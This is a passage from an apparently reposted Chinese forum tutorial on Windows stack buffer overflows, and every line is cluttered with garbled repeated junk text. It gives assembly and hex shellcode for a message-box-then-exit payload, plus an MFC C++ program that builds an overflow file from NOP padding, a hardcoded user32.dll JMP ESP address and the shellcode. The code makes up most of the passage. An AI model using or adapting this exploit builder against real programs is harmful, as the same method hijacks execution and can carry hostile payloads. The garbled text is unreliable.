call dword ptr[ebp-4] a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
mov esp,ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
pop ecx a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
pop ebp a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机器码如下: a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
x10\xff\x55\xfc\x8b\xe5\x59\x5d a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这次不用问为什么了吧?!如果还不懂,复习一下前面的内容!) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)): a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
CWinApp theApp; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
using namespace std; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
int nRetCode = 0; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
// initialize MFC and print and error on failure a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
cerr << _T("Fatal Error: MFC initialization failed") << endl; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
nRetCode = 1; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
else a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
char buffer[20]; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
//0x77e2e32a //user32.dll JMP ESP a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
char eip[] = "\x2a\xe3\xe2\x77"; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
char sploit[] = "\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee" a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
"\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6" a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
"\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45" a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
"\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe" a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
"\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b" a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
"\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff" a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
"\x55\xfc\x8b\xe5\x59\x5d"; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
for(int x=0;x<20;x++) a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
{ a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
buffer[x] = 0x90; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
CFile file; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
file.Write(buffer,20); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
file.Write(eip,strlen(eip)); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
file.Write(sploit,strlen(sploit)); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
file.Close(); a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
return nRetCode; a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
} a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!! a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
后记 a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
最近访问国外的安全站点、黑客站点,发现国外越来越多地关注Windows系统的安全,研究Windows系统漏洞的也越来越多,包括L0pht、 Cerberus等。特别是在一些黑客性质很重的站点,针对Windows 9x/NT/2k的攻击程序一堆堆的。真的有点不敢想像,如果Micro$oft公开所有Windows的源代码,会有多少安全漏洞被发现。而我想,根据国内使用Windows平台的普遍性,问题将会更加严重。因此我觉得国内对Windows的安全性研究应该抓得更紧些!虽然实际情况令人沮丧……:( a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
这篇文章本来不打算整理的,因为我自己也是刚开始研究Windows系统下的缓冲区溢出,掌握的东西不多,担心被Windows高手取笑。后来倒是自己想通了:只有“班门弄斧”,才能知道自己的不足,才能更快地取得进步。希望众Windows高手、黑客高手多多指教。象我们绿色兵团里的 ipxodi、袁哥、zer9等,都是Windows平台下的安全专家,如果本文能起到“抛砖引玉”的作用,我便很满足了。:)a˜ˆGMj­Ø¨bbs.hiwiz.comYV!©sbk?~÷
 
1/1页1 跳转到
发表新主题 回复该主题

相关主题

我的电脑老是弹出加载c:\windows\downlo~1\66db.dll错误该怎么办啊?
如何用Windows Server 2003建个人的FTP服务器呢?
Windows Vista使用问题一贴打尽
windows server 2008 的个别组策略无法生效的问题
Windows Vista 功能 我的照片我做主